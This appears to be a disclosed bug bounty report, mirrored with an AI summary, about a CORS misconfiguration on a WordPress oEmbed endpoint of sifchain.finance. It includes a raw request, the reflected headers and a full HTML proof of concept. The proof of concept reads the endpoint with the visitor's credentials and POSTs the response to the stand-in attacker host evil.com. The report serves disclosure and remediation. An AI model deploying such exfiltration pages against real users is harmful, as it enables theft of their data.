CORS misconfiguration
The WordPress REST API endpoint reflected any Origin header in its CORS response, allowing cross-origin reads. An attacker could host a malicious page that fetches data from the endpoint and sends it to their own server.
Originally disclosed on HackerOne
- Disclosed after 54 days
##Description: Affected website: https://sifchain.finance/wp-json/oembed/1.0/embed?url=https://sifchain.finance/&format=xml
##Step-by-step Reproduction :
- Send this request:
GET /wp-json/oembed/1.0/embed?url=https://sifchain.finance/&format=xml HTTP/1.1
Host: sifchain.finance
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Connection: close
Origin: https://hacker4help.com
Cookie: __cfduid=df42fbb7a21cec869772467a93a9a4b981620366449
- Here you can see the response headers:
Access-Control-Allow-Origin: https://hacker4help.com
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Credentials:
- So you can write exploit:
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS PoC</h2>
<html>
<body>
<button type='button' onclick='cors()'>Exploit</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from niche.co about user account
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://evil.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://sifchain.finance/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fsifchain.finance%2F&format=xml", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
- Save file as .html and open in and see Sensitive Information.
###Reference Exploit used: Exploit WordPress-5.2.4-Cross-Origin-Resource-Sharing
###Suggested Mitigation/Remediation Actions:
FIX 1 - It's possible to remove this access for anyone by change the source code where when someone request the Rest API and the server send a 404 (Not Found) message for the user who made the request. Reference: https://github.com/WP-API/WP-API/issues/2338 FIX 2 - It's also possible to create a rewrite rule on .htaccess (if the webserver it's Apache) to redirect any request that contain rest_route (eg.: "^.rest_route=/wp/") to a Not Found (404) or a Default Page.
Impact
Cross Misconfiguration -Leakage Sensitive Information
Attachments
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could read sensitive information from the endpoint cross-origin, but the report does not demonstrate what specific data is exposed.
What the attacker needed
Attacker hosts a malicious HTML page; endpoint reflects the Origin header
The fix
The server should block or 404 the REST API endpoint, or use rewrite rules to deny such requests.
How it was found
- Send a request to the WordPress oEmbed endpoint with an arbitrary Origin header.
- Observe that the response reflects that Origin in Access-Control-Allow-Origin.
- Create an HTML page that uses XMLHttpRequest with credentials to fetch the endpoint and POST the response to an attacker-controlled server.
- Open the HTML file and click the exploit button to see the sensitive information.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CORS is a browser rule that stops one website from reading data from another. Here the server told the browser that any website is allowed to read its response, so a malicious site could fetch private information and send it to the attacker.
What is CORS?
A permissive cross-origin policy lets another site read responses with the user's credentials.